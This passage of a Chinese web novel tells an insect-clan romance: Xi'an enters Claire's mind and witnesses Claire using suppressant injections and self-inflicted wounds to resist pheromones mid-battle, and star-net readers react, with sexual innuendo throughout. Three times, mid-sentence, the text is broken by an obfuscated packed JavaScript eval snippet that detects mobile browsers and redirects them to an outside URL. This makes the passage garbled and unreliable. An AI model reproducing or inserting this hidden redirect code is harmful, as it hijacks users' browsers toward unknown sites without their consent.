他可以配合克莱尔的爱好,跟他玩点小晴趣。 但绝不包括在对方满身抗拒的情况下强行做那种事。 见克莱尔眼眶泛红,紧咬牙关,努力在信息素中维持清醒。 想起他那糟糕的精神状况…… 席安微凝眉,终是没跟他再僵持下去。 “先给你做精神梳理,剩下的事之后再说。” 席安沉着脸道。 说着将他重新推倒。 克莱尔顺从倒下,仰面躺倒,像是愿意任他施为。 然而当席安倾身靠近,手覆在克莱尔浴袍遮盖的腹肌上时,感受到底下的肌肉骤然紧绷。 抗拒得如此明显。 “呵。” 席安冷哼一声。 克莱尔瞪大了眼,盯着自己紧绷的腹部,比他更加不可置信和惊慌。 想要控制身体放松下来,却根本做不到。 他昏了头地出主意: “注射肌肉松弛剂,就能软下来……” “闭嘴!” 席安不想听他说下去,恼怒瞪他。 “我对睡一具死尸没兴趣!” “等解决完你的精神问题,你再给我解释。给不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679370|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出合理的理由,你就死定了!” 席安恶狠狠说着,强大的精神力如潮水般朝克莱尔涌去,强行破开了他的精神域。 “……” 其实根本没遇到抵抗。 克莱尔的身体不让他碰,精神域倒是对他门户大开。 席安气得咬牙。 再次确认克莱尔就是只想要他的精神梳理,根本不想跟他睡觉。 连最基础的婚内夫夫义务都不愿意履行! 他刚才就该直接咬死他。 席安恶狠狠磨牙,忍着怒火和委屈深入克莱尔的精神域,直奔他的精神内景。 这是一架……机甲。 立与茫茫宇宙星海中的暗红机甲。 不是克莱尔的机甲。 而是席安的专属座驾。 席安懵了一瞬。 进入之前,他想过自己或许会看到被克莱尔当成家的第九军区,想过克莱尔远征的战场或军舰,也想过会看到克莱尔自己的机甲…… 可为什么是他的机甲? 克莱尔的精神内景……为什么是他的机甲的模样? 带着疑惑,精神力进入残破的机甲内部,轻车熟路地来到驾驶舱。 在这里,他看到了蜷缩在悬浮椅上、脸颊发烫、昏睡醒的自己。 还有在驾驶位上专注操纵机甲的克莱尔。 克莱尔的手在操作台上快速移动,操作让虫眼花缭乱,光屏显示的机甲数据不断变动。 左下角的雷达系统上,多如星辰的敌军红点闪烁不定。 全息视野中,天伽军舰紧追不舍。 看到熟悉的天伽军舰,席安顿时想起了前因后果。 那是他进入第九军区的第二年。 跟着克莱尔带领的部队一起执行巡航任务。 军方不让雄虫上战场,但像是这样危险系数低的巡航任务,雄虫还是能参加的。 危险系数再低的任务,倒霉起来,也能碰上敌军舰队骑脸。 他们乘坐的飞船在天伽炮火轰炸下受损,能源告急,只能选择驾驶机甲突围。 这是席安的第一次机甲实战,他紧张得不行,握着精神连接操纵杆的手都是抖的。 但克莱尔的机甲一直护在他身前。 同队的其他军雌也围绕在四周保护着他。 席安渐渐冷静下来,找回状态。 随后靠着出色的射击技术和精神力,远距离干掉了几架天伽的机甲。 他调动全部精神力,全身心地投入这场战斗,也越发得心应手,甚至成功击落了几艘小型追击舰,很是鼓舞虫心。 他能感觉到实战带给他的蜕变。 但蜕变过头了。 或许是危险带来的压力,或许精神力到达了某个阈值,总之……他突破了。 从A级到A+,迈入超A行列。 这个突破来得实在不凑巧。 他们还在天伽舰队的包围中,稍有不慎就可能丧命。 然而他却在这时,因等级突破发起了高热,烧得意识模糊。 后面发生了什么,席安根本记不清。 只知道克莱尔放弃了他自己的机甲,进入他的机甲驾驶舱内,接手操控权,带他突围。 最后成功将他带回了第九军区…… 这些是他在医疗室里醒来时,从医生口中得知的。 克莱尔不在。 直到他出院,克莱尔也没出现。 他找不到克莱尔。 就算去问军团长,对方也只是神情复杂地告诉他,克莱尔在进行特殊的隔离训练,不见任何虫,尤其是他。 再往下追问,对方就什么都不肯说了。 席安在煎熬中等了许久,想过各种恐怖的可能。 三个月后,克莱尔重新出现在他面前。 完好无损,身体康健,一如往昔。 只是……与他更加疏远。 克莱尔冷硬疏离,刻意与他保持着距离。 甚至到了无法忍受任何肢体接触的地步。 ——仅指他的。 克莱尔能和其他战友一起对练、肉身搏斗、拍着肩膀谈笑。 可他……就连靠近都会引起克莱尔蹙眉。 总是没说几句话,对方就会找借口匆匆离开。 席安一直认为,克莱尔变得如此冷淡,是因为他拖后腿了。 他在战场上晋级昏过去,成为了累赘和负担,拖累了克莱尔。 所以被讨厌了。 ……】 11. 雄虫新兵x昔日教官7 [啊?雄虫?战场?天伽舰队!?] [军方都干什么吃的!居然让雄虫去执行那么危险的任务!还让雄虫在危险的战场上突破?!] [偌大一个联邦已经没军雌了吗!需要雄虫去执行任务?] 看到文中写席安阁下曾参与巡航任务,还遭遇了天伽舰队,雌虫们都反应激烈。 那可是雄虫,珍贵的A+级雄虫。 放眼整个联邦都屈指可数,弥足珍贵!损失一个就足以让全虫族痛惜。 可珍贵的雄虫居然落入天伽舰队的包围圈,面临生死危机,这是全体雌虫的失职。 更何况,席安阁下当时还面临等级晋升! 雄虫晋升需要安全稳定的环境。 一般雄虫都会选择在自己熟悉的卧室房间里进行。 每当有雄虫要突破了,家里的雌君雌侍、双亲长辈、乃至在外的兄弟,都会专门请假回去陪伴。 哪怕只是守在雄虫的房间外,也要给雄虫安全感。 可席安阁下的突破却是在危险的战场上进行。 没有沾满自己味道的熟悉房间,也没有家虫亲属的陪伴……就一个克莱尔! 克莱尔他能做什么? 他能给雄虫阁下带来安全感吗?他保护得了雄虫吗? 于此同时,雌虫们想起了另一件重要的事。 雄虫在突破时,身体各项激素变化极大,信息素的释放不受控制,会自发地向外释放信息素。 宇宙真空环境能阻隔信息素的传播。 但在这座机甲驾驶舱里,还有一只雌虫。 一只成年的、个方面都发育正常、性谷欠旺盛的雌虫。 [靠靠靠!克莱尔这家伙!他怎么敢?!!] [原来是这样,他趁雄虫阁下觉醒,把阁下欺辱了,难怪他之后不敢见阁下!] [他居然在这里就吃到了席安阁下,我恨啊。] 一群暴怒的雌虫已经被妒火冲昏了头脑。 理智些的已经感到无语了。 [你们清醒点,这里是战场,后边就是天伽舰队的追击,可不是什么能进行雌雄交酉己的场所。这时候去睡雄虫,是连命都不要了吗?] 一般虫在这种情况下还真清醒不起来。 A+级的雄虫信息素谁能抵抗? 雌虫在封闭的驾驶舱内,闻到这信息素,只会浑身发软,只剩下一处硬。 恨不得立刻被雄虫填满,被标记。 什么理智,什么规矩,都抛到了脑后。 只剩下原始的交酉己本能。 这会就算被捅几刀,雌虫都感觉不到疼。 更不用提去关注隔着宇宙星海的天伽战舰。 没有虫认为克莱尔能在这样的情况下带着雄虫离开。 只能是好运气遇上了救援部队。 【“克莱尔……” 席安听到“自己”在唤他。 精神内景呈现的机甲驾驶舱中,红色头发的雄虫蜷缩在悬浮椅上,双目紧闭,面颊醇红,微张着唇,轻吐出一个名字。 哪怕席安此时只是精神体状态,也能清晰感受到空气中甜蜜的雄虫信息素。 信息素充斥了整个驾驶舱,暧.昧而誘惑的甜意几乎化成实质。 坐在操控台前的克莱尔面色涨红,呼吸急促,座椅似乎已经被濡濕,军裤下隆起夸张的一团。 却仍然抽空回应了句“我在”。 声音低沉磁性,透着隐忍的沉闷,还有一丝压抑的低喘与气音。 在这里的席安明明只是一个精神体,却感觉耳朵烧了起来。 他从没见过克莱尔这个样子。 让他不敢看。 却又忍不住再看。 甚至都忘了自己进入克莱尔精神域的目的。 精神内景里的“信息素”似乎都影响到了他。 他忍不住想,克莱尔抱他了吗? 吃他了吗?还是骑了? 席安眸光晶亮闪烁,心里紧张又忐忑。 一方面觉得自己可能在无意识时失身了。 倒也没有什么负面情绪,更多是羞赧和遗憾。 遗憾自己对此毫无记忆。 另一方面又觉得这里太危险了。 天伽军队还紧咬在后边,若是克莱尔与他在这里发生关系,他们肯定逃不过天伽舰队的追击。 他很担心克莱尔的安危。 但在已知的过往中,克莱尔是成功将他带回去了的。 那是既定的事实。 他们两个都平安回去了,没有生命危险。 这让席安放下心。 又忍不住想,克莱尔是怎么把他带回去的? 后方追击的天伽舰队,机甲驾驶舱里发着高热、散发信息素的雄虫……这怎么看都是一个死局。 有援军吗? 不,报告中并未提起。 正猜测着,席安听到克莱尔发出一声让虫耳朵都酥了的呻.吟。 他下意识抬手想摸耳朵,就看到克莱尔从空间纽中取出一根针剂,狠狠扎在手臂上,表情狰狞。 席安吓得白了脸。 那是军用的信息素抑制剂。 能让雌虫快速从发晴的状态下冷静下来。 但那滋味绝不好受。 那只握着针管的手还是颤的,但雌虫打药的动作毫不犹豫,瞬息清空了一管药。 克莱尔重重喘了声,抑制剂起效的疼痛让他面上血色尽褪,冷汗直冒。 他紧咬牙关,一声不吭,拔出空了针管丢下。 他没往下看一眼,紧盯光屏上的数据,继续操作机甲。 座椅旁的地面上,散落着三根同样的针管。 席安愣愣看着那散落一地的针管,惊得捂住了嘴。 克莱尔一直靠着注射抑制剂维持理智。 他没法想象,克莱尔是怎么在A+级雄虫的信息素笼罩下,依靠理智和意志力一次次给自己注射抑制剂,又是怎么顶着抑制剂带来的痛苦,操作机甲,与天伽军周旋交锋。 他们的适配度还那么高,他的信息素对克莱尔的影响只会更大。 而这已经不是克莱尔第一次注射。 短时间内注射这么多抑制剂,其中的痛苦可想而知,无异于一场基因凌迟。 席安眼前模糊。 这些都是他从不知道的过往。 没有任何虫告诉他。 医生没有,第九军团的军雌没有,克莱尔也没有。 在克莱尔又一次将针剂扎下时,席安下意识上前,伸手想要阻止。 针剂穿过了他的手,就如穿过虚无的空气。 席安看着这一幕,感到无比痛苦。 他只是一个入侵的精神体而已。 他什么都阻止不了,更改变不了已经发生的事实。 席安没有看到,克莱尔被汗染濕的睫毛颤了颤,目光有一瞬汇聚在他脸上。 早在雄虫出现在机甲里时,他就发现了他。 这个跟席安一模一样的“幻象”,让他感到自己的意识和理智岌岌可危。 这已经是最后一支抑制剂了,他可能撑不到将席安带回去。 但他绝对不能伤害席安。 也绝不能让席安落入天伽手里。 他知道天伽雄性的处境,而像这种从敌国掠夺过来的雄性,天伽更加不会珍惜。 以席安的骄傲,他绝不会选择屈辱地活着。 克莱尔用力闭了下眼,将针剂推入。 他没再看身旁的“幻象”,紧抿着唇,不发一言,继续驾驶着机甲。 他凭借操作躲过天伽的炮火,并在走位中反杀了两架天伽追击舰。 操作漂亮得可以上军部的教学集锦。 克莱尔无心想那些,这对他来说,是真正的生死存亡危机。 稍有不慎,就会带着雄虫一起湮灭于星空。 他可以死。 但席安不行。 克莱尔不敢有丝毫放松。 也不敢沉迷于诱虫坠落的幻象。 但身边的“幻象”在哭。 他盯着他手臂上的针孔,吧嗒吧嗒掉眼泪。 在看到晶莹的眼泪从那张与席安一般无二的脸上滑过时,克莱尔仿佛听到了脑海中名为理智的弦彻底崩断的声音。 克莱尔快要疯掉了。 手上的操作差点出错。 机甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679371|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以一百三十五度的转弯在太空中呈现了一段滑稽的漂移,恰好躲过一枚天伽的导弹。 克莱尔强迫自己冷静,却难以做到。 他可以在席安的信息素下竭力让自己保持清醒,可以承受注射抑制剂带来的痛苦,却受不住席安的眼泪。 “别哭,我会把你平安带回去。” 克莱尔低声安抚,声音虽轻,却很坚定。 哪怕押上自己的性命,他也要把席安带回去。 席安眼泪朦胧,隔着眼里的水雾看了他半响,才意识到克莱尔是在跟他说话。 “你能看到我?” 克莱尔当然能看到他。 这里是克莱尔的精神内景,是他过往记忆的衍生,但又非过往本身,承载着克莱尔的自我意识。 不是过往那个与天伽军周旋、带他逃生的克莱尔看到了他。 而是克莱尔精神域中潜藏的自我意识发现了他。 席安鼻尖酸涩。 他清楚过往那些事已经发生,他再怎么也改变不了。 他现在能做的只有给克莱尔做精神梳理,修好克莱尔受损的精神域,让他好受些。 他抹了把泪,对克莱尔道: “我这就给你做精神梳理。” 克莱尔正想说不用,就见“幻象”跑出驾驶舱,去修机甲了。 克莱尔:“?” 说好的精神梳理呢? 不管怎么样,对方没哭了,也没继续站在他身边,让他松了口气。 他是真的怕自己忍不住,受不住诱.惑,兽谷欠大发,把席安睡了。 抑制剂能维持的时间越来越短,克莱尔很快感觉到自己的身体又熱了起来。 又熱又空,濕润粘稠,渴望被雄虫贯穿填满。 驾驶舱内信息素浓郁。 他能听到席安清浅的呼吸声,每一次呼吸都带来更甜蜜热烈的信息素。 席安睡得并不安稳,眉头紧凝着,不时会扭动调整姿势,身体摩擦过衣物的声音在克莱尔耳中被放大了许多倍。 克莱尔克制住自己不往那边看,却仍旧不自觉吞咽唾沫。 想要被按在驾驶位上进入,被雄虫米且暴草开,想要身上和深处都染上席安的信息素。 他紧咬舌尖,口中扩散开的血腥味短暂挽回他的理智。 “克莱尔……” 昏睡中的雄虫不安地唤了声。 晋级时需要安全感。 需要安稳的环境,和家属的守护。 克莱尔什么都给不了他,只能在他唤他的时候,一遍遍地重复“我在”。 每每得到他的回应,雄虫的呼吸就会变得平缓,紧蹙的眉头也得以松开。 他身上披着克莱尔的军装外套。 他将半张莹白的脸缩进带着克莱尔味道的外套里,再度沉沉睡去。 与此同时,克莱尔的面色差到极致。 药效彻底消退,身体的空虚和渴望到达了极点,大脑在信息素的影响下昏昏沉沉,热意在身体里沸腾。 再这样下去,他会对雄虫做出无法挽回的事情。 克莱尔的右手一瞬覆盖上银白的虫甲,寒光划过,军裤被割开,数道深可见骨的伤口出现在他大腿上。 鲜血在一瞬间涌出,浸染了军裤,顺着座椅小腿流淌地面,在他脚下汇聚成一个血泊。 强烈的疼痛唤醒了克莱尔的理智,他紧绷着脸,平视前方,对身上的伤仿若未觉,用染血的手继续操控机甲。 雌虫的自我修复能力太强。 伤口不一会就会愈合,那就需要再度制造新的伤,产生新的疼痛。 那惨烈的疼意让克莱尔觉得畅快。 鲜血和疼痛唤醒了雌虫基因中的嗜血弑杀的本能,克莱尔冰蓝的双眸染上猩红,他紧盯着全息视野中的天伽军舰,机甲的操作越发极致狠厉。 然而当蜷缩在他军装外套下的雄虫唤他时,他还是会放柔声音,一遍遍回答“我在”。 不知多少次划开身体皮肉,延绵不断的鲜血在驾驶舱的地面汇聚成猩红的湖泊。 当席安一路修复着精神域,返回驾驶舱,看到的就是这宛如炼狱般的场景。 ……】 12. 星网热议 看完更新的读者集体静默。 没有虫相信有雌虫能在A+级雄虫的信息素里保持清醒。 克莱尔当然也做不到。 但他偏偏做到了。 宁愿注射大量抑制剂,忍受如同基因崩解般的痛苦;在没有抑制剂后用利爪划开自己的身体皮肉,一次次用鲜血和疼痛唤醒自己的理智……也不曾伤害雄虫。 他面临的不仅是雄虫信息素的诱.惑,和身体上的痛苦煎熬,还有天伽的追击。 可他竟然真的在这种完全不可能的情况下,把席安平安带了回去。 [克莱尔……我敬他是只雌虫,真正英勇的军雌。] [我再也不骂克莱尔了,他在我这享有终身免喷权。] [我之前还那么说他,我真该死啊。] [半夜想起来都要扇自己两巴掌。] [难怪席安阁下会选择他。如果是这样的话,一点也不难理解。] 雄虫们对此的体会更深一些。 他们是雄虫,清楚地知道高等雄虫的信息素对雌虫的吸引力有多大。 足以让平日里最高冷肃穆的雌虫抛下一切,失去自我,放弃理智和尊严,匍匐在地,丑态毕露,沦为欲.望的淫兽。 雌虫认为雄虫没有爱。 雄虫同样认为雌虫没有爱。 那能说是爱吗?只不过是对信息素的狂热迷恋。 换一只高等雄虫他们同样会如此。 卑躬屈膝,摇臀祈怜。 正是清楚高等雄虫信息素的影响有多强,才更被克莱尔的所作所为震撼。 他们好像明白席安为什么会喜欢克莱尔了。 这样的守护与情感,没有虫能不为此心动。 [可是……席安之前并不知道克莱尔做了这些啊。] [对哦,那他为什么喜欢克莱尔?] [可能是因为克莱尔本身就很好,他才喜欢克莱尔,而不是因为克莱尔对他很好。] 好像能理解,但又不太能理解。 他们迫不及待想看后续的发展,想看席安和克莱尔的故事。 [作者快更新!你已经休息了5分钟了,该起来更下一章了!(打赏宇宙飞船x1)] [我一般是不看这种血糊糊的书的,但这个太心疼了,赶快把克莱尔治好吧(大哭)。然后在驾驶椅上哔——他,满足克莱尔的幻想。] 登录看读者留言的安若:“???” 不愧是虫族,黄.暴得一如既往,一点都不出乎意料。 其他雌虫读者也丝毫不觉得这样的评论有问题。 看,阁下想的还是把克莱尔治疗好再上呢,都没有让席安阁下直接就着伤口在血泊里上。 愿意睡雌虫的雄虫就是好雄虫,是道德高尚的、值得尊敬的。 能在睡完后顺手做个精神梳理的,那更是特别特别好的雄虫。 安若:“……” 不是很想承认这是自己写出来的小说世界。 雌虫对雄虫的要求低到发指。 这种情况下,还能指望雄虫能有多高尚呢? 安若退出评论区,正准备去清点一下自己最近收到的打赏,上方就滑出一条新闻通知,他手快点了进去。 《最新法案:已婚雄虫必须定期为家中雌虫进行精神梳理》 包括雌君、雌侍,以及雌虫幼崽。 至于雌奴?对不起,联邦官方不承认雌奴,没有雌奴。 法案还表明,如果雄虫等级太低,达不到为雌虫进行精神梳理的标准,雌虫可申请解除婚姻关系。 安若都震惊了。 虫族居然还能有这样的法案?真是不可思议。 不过确实有那么一点模糊的印象…… 原文的雄虫主角曾提到过,雄虫必须定期为家中雌虫进行精神梳理,如果已婚雌虫精神出现问题,做雄主的也会被问责。 至少在原文的时间线上,这已经是当时公认的社会常识。 这些都是尤利西斯执政期间带来的改变。 说不上全然好,但也不算全然坏。 尤利西斯一步步提升雌虫地位和权益,同时也抑制了雄虫,到了后期甚至偏激到了将雄虫全部禁锢当工具的地步。 极端到了这种程度,他当然是反派。 注定被正义的主角打倒。 刺向他的刀刚好是在他的政策下选拔和培养起来的雌虫主角。 即使是多年后的雌虫主角,也不得不肯定尤利西斯在提升雌虫地位和权益方面做出的贡献。 这部法案还只是个开始。 安若有一种身处小说篇章之内,亲眼见证剧情发展的感触。 又像是站在历史长河之中,亲身经历时代的浪潮。 一切已经开始,终将走向既定的未来。 安若不觉得自己能改变什么。 如果他还在原本的世界,他或许会以作者的身份改写一个结局。 但他在虫族监狱里。 监狱的铜墙铁壁将他与外界分隔开,他什么也做不了,外界的一切纷纷扰扰都与他无关。 如果他能活到一切终结的那一天,他或许会在监狱的囚室里,用笔记录下这一切。 写下属于尤利西斯的篇章。 他值得一个单独的篇章。 …… “《教官》更新”“精神梳理”“新法案”,三个词条一同登上星网热议前三,热度不断攀升。 雄虫们开开心心追着小说,回头就发现被偷家了。 ——这法案分明就是冲着他们来的! 必须定期给家中雌虫做精神梳理,雌君雌侍幼崽都要做,雄虫等级不够雌虫还能解除婚姻。 纳尼?big胆!!! 突然多了一堆强制工作,这让随性自由惯了的雄虫哪里受得了? 最重要的还不是法案本身,而是法案上透露出来的对雄虫的态度。 雄虫在这上面都格外敏锐。 性格暴躁的直接抄起虚拟键盘就上了,在星网上破口大骂。 其他雄虫也心里很慌。 连忙回想自己平日里有没有定期做精神梳理,跟雌君雌侍们的等级差大不大,会不会有老婆找自己离婚。 发现自己平日里做得很好的雄虫悄悄松了口气。 而确定自己没有做到法案上那些的雄虫,则一边心里发慌,一边跟着在网上骂。 骂联邦,骂议会,骂尤利西斯元帅……啊这个不敢公然骂,改骂安诺。 虽然这份法案从头到尾没提尤利西斯的名字,但只要眼睛没瞎的都看得出这法案与他有关。 “雌虫能与等级差过大、无法进行精神梳理的雄虫离婚”这一条就是铁证! 当年身为B级雄虫的安诺不知道走了什么运,娶了当时SS级的尤利西斯上将。 B级雄虫最多给S级雌虫做精神梳理,这已经是极限了。 毕竟只要进入S级,就与下面等级的虫之间隔了天堑,实力区别大得像是两个物种。 B级雄虫根本没法给SS级做精神梳理。 那只雄虫连尤利西斯上将的精神域都打不开,也根本没法进行精神梳理和标记。 雄虫在压抑中扭曲,甚至做出了家暴上将的事来,还闹得十分严重。 天知道他哪来的胆子。 现在那只雄虫锒铛入狱,一辈子都将在监狱里度过。 而他们这些在外的无辜雄虫,却要被迫承担他留下的苦果。 这怎么能不骂? 雄虫们抄起终端,直接精神力输入,打字比谁都快,把那只在监狱的雄虫骂得狗血淋头。 无辜躺枪的安若:“啊这……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679372|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许他也并不是那么无辜。 这确实是他写下的剧情,只是没想到会应验在自己身上。 算了,骂吧骂吧,反正他在监狱里,这些雄虫也不可能冲进来打他。 安若手动屏蔽掉某些骂得过于激烈的言论,通过星网实名认证后的性别标识,查看雌虫们对此事的反应。 这件事,雌虫是绝对的受益者。 未婚雌虫对法案百分百赞成,哪怕有一些替雄虫说话的,心里也是希望法案能够推行下去,哪怕打个折扣推行都可以。 已婚雌虫大多在忙着安抚雄主情绪,抽不出身来星网发言。 虫族大多慕强,等级差、信息素、精神梳理,都是很现实的问题。 哪怕虫族的性别比很大,低等级雄虫也很难跨两级娶到高等雌虫。 若是出现这种罕见的情况,要么是雄虫家里有权有势,要么是其中有什么见不得虫的手段。 当然,还有另一种几乎不被虫族相信和理解的情况——真爱。 联邦议员长卡西安正处理着法案的后续事宜,忽地收到了自家雄主的通讯,他不得不先停下手里的工作,接通通讯。 光屏上显示出雄虫的影像,白发粉瞳,像个精致的手办娃娃。只是此时,那花瓣般的粉色眼睛里盛满了泪水。 雄虫大概哭了好一会了,一见到他,那眼泪就吧嗒吧嗒往下掉,像断线的珠子。 “怎么办啊宝宝,我们的等级差大于两级,我没法给你进行精神梳理,法庭要强制我们离婚了。” “请冷静雄主,没有强制离婚。联邦不会强制任何配偶离婚,只能是雌虫提出申请,法庭才会介入。” 卡西安语速平缓地跟对面解释,看起来温和自信又淡定,很有信服力。 实际自从他看到雄虫的眼泪开始,脑子就快炸了。 卡西安这辈子最怕两只虫掉眼泪。 一个是他弟弟席安,另一个就是面前的雄虫。 他弟弟被他欺负哭了还会咬回来,也擅于去找雌父雄父告状,从小就不是会吃亏的性子。 他雄主是真的是……跟个易碎的瓷娃娃似的,一碰就碎,一碎就哭,眼泪哗啦啦往下掉,根本停不下来。 像极了某类被雄虫诟病已久的小说里的哭唧唧雄虫。 为此,卡西安还成了这类小说的忠实爱好者,经常去跟里面的雌虫取经,学习怎么哄雄虫。 他雄主天生有基因缺陷,身体格外脆弱,卡西安很怕惹他伤心。 法案发布之前,他还特意跟他雄主解释了许多遍,一再保证这个不会影响他们,打足了预防针。 但法案真正对外发布后,雄虫还是被星网上的言论吓到了,哭着来找他。 卡西安后悔自己没能陪在雄主身边。 早知道这样,他应该提前请假的。 卡西安耐心哄了很久,才哄得对面雄虫平静下来,眼泪稍歇。 晶莹的泪珠挂在纯白眼睫上,将落未落,像花瓣上的露珠,引得虫心都颤了。 雄虫揉着眼睛看向他,低低抽噎着问:“真的不会强制离婚吗?” “我保证。” 卡西安做了个发誓的手势。 雄虫这才破涕为笑,擦干净眼泪。 忽地想起什么,雄虫被水洗过的眼里露出些清透狡黠的笑意,神神秘秘道: “对了,我刚刚在星网上看到了你弟弟。” “……席安?” 卡西安疑惑。 席安不是在第九军区吗? 怎么会出现在星网上? 正困惑着,对面给他发来一个链接,他随手点开。 《教官》热议: #席安阁下结婚# #席安阁下和克莱尔是真爱# #席安阁下哭了# 卡西安:“???”